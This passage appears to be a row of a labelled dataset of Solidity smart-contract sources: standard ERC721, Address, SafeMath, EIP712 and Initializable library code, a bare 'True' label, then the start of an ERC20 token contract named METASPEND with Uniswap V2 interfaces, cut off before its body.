* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contracts that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
|
True
|
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract METASPEND is Context, IERC20, Ownable {
using SafeMath for uint256;
